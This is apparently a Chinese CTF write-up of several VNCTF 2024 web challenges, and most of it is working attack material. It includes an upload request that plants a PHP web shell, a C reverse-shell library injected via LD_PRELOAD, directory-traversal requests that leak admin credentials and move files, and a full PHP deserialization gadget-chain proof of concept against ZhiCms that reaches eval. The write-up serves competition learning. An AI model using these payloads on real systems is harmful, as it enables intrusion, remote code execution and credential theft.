Sign in
在game.js
中发现关键代码,放到console
中执行
1
2
|
var _0x3d9d=["\x56\x4e\x43\x54\x46\x7b\x57\x33\x31\x63\x30\x6d\x33\x5f\x74\x30\x5f\x56\x4e\x43\x54\x46\x5f\x32\x30\x32\x34\x5f\x67\x40\x6f\x64\x5f\x4a\x30\x42\x21\x21\x21\x21\x7d"];
console.log(_0x3d9d[0]);
|
获得flag
VNCTF{W31c0m3_t0_VNCTF_2024_g@od_J0B!!!!}
TrySent
poc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
|
POST /user/upload/upload HTTP/1.1
Host: 2180fc06-45c6-4306-8e86-637be6a3025a.vnctf2024.manqiu.top
Content-Length: 758
Sec-Ch-Ua: " Not;A Brand";v="99", "Google Chrome";v="97", "Chromium";v="97"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrhx2kYAMYDqoTThz
Accept: */*
Origin: https://info.ziwugu.vip/
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://target.com/user/upload/index?name=icon&type=image&limit=1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ja-CN;q=0.8,ja;q=0.7,en;q=0.6
Connection: close
------WebKitFormBoundaryrhx2kYAMYDqoTThz
Content-Disposition: form-data; name="id"
WU_FILE_0
------WebKitFormBoundaryrhx2kYAMYDqoTThz
Content-Disposition: form-data; name="name"
test.jpg
------WebKitFormBoundaryrhx2kYAMYDqoTThz
Content-Disposition: form-data; name="type"
image/jpeg
------WebKitFormBoundaryrhx2kYAMYDqoTThz
Content-Disposition: form-data; name="lastModifiedDate"
Wed Jul 21 2021 18:15:25 GMT+0800 (中国标准时间)
------WebKitFormBoundaryrhx2kYAMYDqoTThz
Content-Disposition: form-data; name="size"
164264
------WebKitFormBoundaryrhx2kYAMYDqoTThz
Content-Disposition: form-data; name="file"; filename="test.php"
Content-Type: image/jpeg
JFIF
<?=`$_GET[1]`;?>
------WebKitFormBoundaryrhx2kYAMYDqoTThz--
|
Reference
https://blog.hanayuzu.top/articles/37dacab4
givephp
劫持LD_PRELOAD变量
写一个reverseshell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#define REMOTE_ADDR "ip"
#define REMOTE_PORT port
__attribute__((__constructor__)) void preload(void)
{
struct sockaddr_in sa;
int s;
sa.sin_family = AF_INET;
sa.sin_addr.s_addr = inet_addr(REMOTE_ADDR);
sa.sin_port = htons(REMOTE_PORT);
s = socket(AF_INET, SOCK_STREAM, 0);
connect(s, (struct sockaddr *)&sa, sizeof(sa));
dup2(s, 0);
dup2(s, 1);
dup2(s, 2);
execve("/bin/sh", 0, 0);
}
|
编译共享库
gcc -fPIC exp.c -o exp.so
/?challenge=1&key=LD_PRELOAD&value=/tmp/uploaded_file_65d06b74e02569.16227496.so&guess=%00lambda_1
CutePath
/chfs/files?filepath=../
存在目录遍历
得到账号和密码
admin:gdgm.edu.cn@M1n9K1n9P@as
登陆之后,得到更多的功能点
通过目录遍历,得到flag
文件的位置
../../../flag/flag/flag.txt
存在重命名功能点,并且跨目录,直接将flag.txt文件移动到web目录即可
1
2
3
4
5
6
7
8
9
10
11
|
POST /chfs/rename
------WebKitFormBoundary4GWMTiRPXoB99YrX
Content-Disposition: form-data; name="new"
../../../home/ming/share_main/flag.txt
------WebKitFormBoundary4GWMTiRPXoB99YrX
Content-Disposition: form-data; name="old"
../../../flag/flag/flag.txt
------WebKitFormBoundary4GWMTiRPXoB99YrX--
|
访问/chfs/shared/flag.txt?v=1
得到flag
VNCTF{564e406840636b3156315f6764676d}
codefever_again
根据 https://github.com/PGYER/codefever/issues/140 来打
zhi
Unserialize RCE
在giftcontroller
控制器下面存在如下方法
1
2
3
4
5
6
|
public function globallike(){
$mylike=$_COOKIE['mylike'];
$arr = unserialize($mylike);
echo count($arr);
}
|
很明显存在一个unserialize
全局搜索__destruct
,利用simple_html_dom
类中的__destruct
方法
1
2
3
4
|
function __destruct()
{
$this->clear();
}
|
跟进查看clear()
1
2
3
4
5
6
7
8
9
10
|
function clear()
{
foreach ($this->nodes as $n) {$n->clear(); $n = null;}
// This add next line is documented in the sourceforge repository. 2977248 as a fix for ongoing memory leaks that occur even with the use of clear.
if (isset($this->children)) foreach ($this->children as $n) {$n->clear(); $n = null;}
if (isset($this->parent)) {$this->parent->clear(); unset($this->parent);}
if (isset($this->root)) {$this->root->clear(); unset($this->root);}
unset($this->doc);
unset($this->noise);
}
|
这里可以任意调用__call()
方法,或者clear()
方法
这里利用MemcachedDriver
类中的clear()
方法
1
2
3
|
public function clear() {
return $this->mmc->set($this->group.'_ver', $this->ver+1);
}
|
利用拼接进行触发__toString
方法,选择simple_html_dom_node
类
1
2
3
4
|
function __toString()
{
return $this->outertext();
}
|
进入outertext()
方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
function outertext()
{
global $debugObject;
if (is_object($debugObject))
{
$text = '';
if ($this->tag == 'text')
{
if (!empty($this->text))
{
$text = " with text: " . $this->text;
}
}
$debugObject->debugLog(1, 'Innertext of tag: ' . $this->tag . $text);
}
if ($this->tag==='root') return $this->innertext();
// trigger callback
if ($this->dom && $this->dom->callback!==null)
{
call_user_func_array($this->dom->callback, array($this));
}
|
其中可以调用到call_user_func_array($this->dom->callback, array($this));
方法,但是无法控制第二个参数,所以只能调用到任意类的任意方法并且参数只能是一个
这里利用Template
类中的display
方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
public function display($tpl = '', $return = false, $isTpl = true ) {
if( $return ){
if ( ob_get_level() ){
ob_end_flush();
flush();
}
ob_start();
}
extract($this->vars, EXTR_OVERWRITE);
eval('?>' . $this->compile( $tpl, $isTpl));
if( $return ){
$content = ob_get_contents();
ob_end_clean();
return $content;
}
}
|
可以利用extract($this->vars, EXTR_OVERWRITE);
来控制$this->compile( $tpl, $isTpl)
中的参数,跟进查看是否能控制其返回内容
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
public function compile( $tpl, $isTpl = true ) {
if( $isTpl ){
$tplFile = $this->config['TPL_PATH'] . $tpl . $this->config['TPL_SUFFIX'];
if ( !file_exists($tplFile) ) {
throw new \Exception("Template file '{$tplFile}' not found", 500);
}
$tplKey = md5(realpath($tplFile));
} else {
$tplKey = md5($tpl);
}
$ret = unserialize( $this->cache->get( $tplKey ) );
if ( empty($ret['template']) || ($isTpl&&filemtime($tplFile)>($ret['compile_time'])) ) {
$template = $isTpl ? file_get_contents( $tplFile ) : $tpl;
if( false === Hook::listen('templateParse', array($template), $template) ){
foreach ($this->label as $key => $value) {
$template = preg_replace($key, $value, $template);
}
}
$ret = array('template'=>$template, 'compile_time'=>time());
$this->cache->set( $tplKey, serialize($ret), 86400*365);
}
return $ret['template'];
}
|
可以看到,如果能控制unserialize($this->cache->get( $tplKey ))
的内容,便可以控制返回内容,这里全局搜索一下get()
方法
这里利用FileCacheDriver
中的get()
方法
1
2
3
4
5
6
7
8
9
10
11
12
13
|
public function get( $key ){
$content = @file_get_contents( $this->_getFilePath($key) );
if( empty($content) ) return false;
$expire = (int) substr($content, 13, 12);
if( time() >= $expire ) return false;
$md5Sign = substr($content, 25, 32);
$content = substr($content, 57);
if( $md5Sign != md5($content) ) return false;
return @unserialize($content);
}
|
从$this->_getFilePath
方法中获取内容,并且进行了一些判断,然后反序列化后返回内容,跟进其方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
private function _getFilePath($key, $isCreatePath = false){
$key = md5($key);
$dir = $this->config['CACHE_PATH'] . '/' . $this->config['GROUP'] . '/';
for($i=0; $i<$this->config['HASH_DEEP']; $i++){
$dir = $dir. substr($key, $i*2, 2).'/';
}
$dir = str_replace('/', DIRECTORY_SEPARATOR, $dir);
if ( !file_exists($dir) ) {
if ( !@mkdir($dir, 0777, true) ){
throw new \Exception("Can not create dir '{$dir}'", 500);
}
}
if ( !is_writable($dir) ) @chmod($dir, 0777);
return $dir. $key . '.php';;
}
|
进行了一些目录文件名拼接的操作,然后返回一个php文件,但是我们并没有这个文件,所以会进入compile()
方法中的if
条件
1
2
3
4
5
6
7
8
9
10
|
if ( empty($ret['template']) || ($isTpl&&filemtime($tplFile)>($ret['compile_time'])) ) {
$template = $isTpl ? file_get_contents( $tplFile ) : $tpl;
if( false === Hook::listen('templateParse', array($template), $template) ){
foreach ($this->label as $key => $value) {
$template = preg_replace($key, $value, $template);
}
}
$ret = array('template'=>$template, 'compile_time'=>time());
$this->cache->set( $tplKey, serialize($ret), 86400*365);
}
|
内容就是传入的$tpl
,接着调用$this->cache->set()
方法,写入内容
这里就利用FileCacheDriver
类中的set()
方法
1
2
3
4
5
6
7
8
|
public function set($key, $value, $expire = 1800){
$value = serialize($value);
$md5Sign = md5($value);
$expire = time() + $expire;
$content = '<?php exit;?>' . sprintf('%012d', $expire) . $md5Sign . $value;
return @file_put_contents($this->_getFilePath($key, true), $content, LOCK_EX);
}
|
构造完整poc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
|
<?php
namespace ZhiCms\ext{
use ZhiCms\base\cache\MemcachedDriver;
use ZhiCms\base\Template;
class simple_html_dom{
public $nodes = array();
public function __construct(){
$this->nodes[] = new MemcachedDriver;
}
}
class simple_html_dom_node{
private $dom;
public function __construct(){
$this->dom->callback = array(new Template,'display');
}
}
class Send {
public function __construct(){
}
}
echo urlencode(serialize(new simple_html_dom));
}
namespace ZhiCms\base\cache{
use ZhiCms\ext\simple_html_dom_node;
use ZhiCms\ext\Send;
class FileCacheDriver{
public function __construct(){
}
}
class MemcachedDriver{
protected $group = '';
protected $mmc = NULL;
public function __construct(){
$this->group = new simple_html_dom_node;
$this->mmc = new Send();
}
}
}
namespace ZhiCms\base{
use ZhiCms\base\cache\FileCacheDriver;
class Template {
protected $vars = array();
protected $cache;
public function __construct(){
$this->vars=array("tpl"=>"<?=phpinfo();?>","isTpl"=>false);
$this->cache = new FileCacheDriver;
}
}
}
?>
|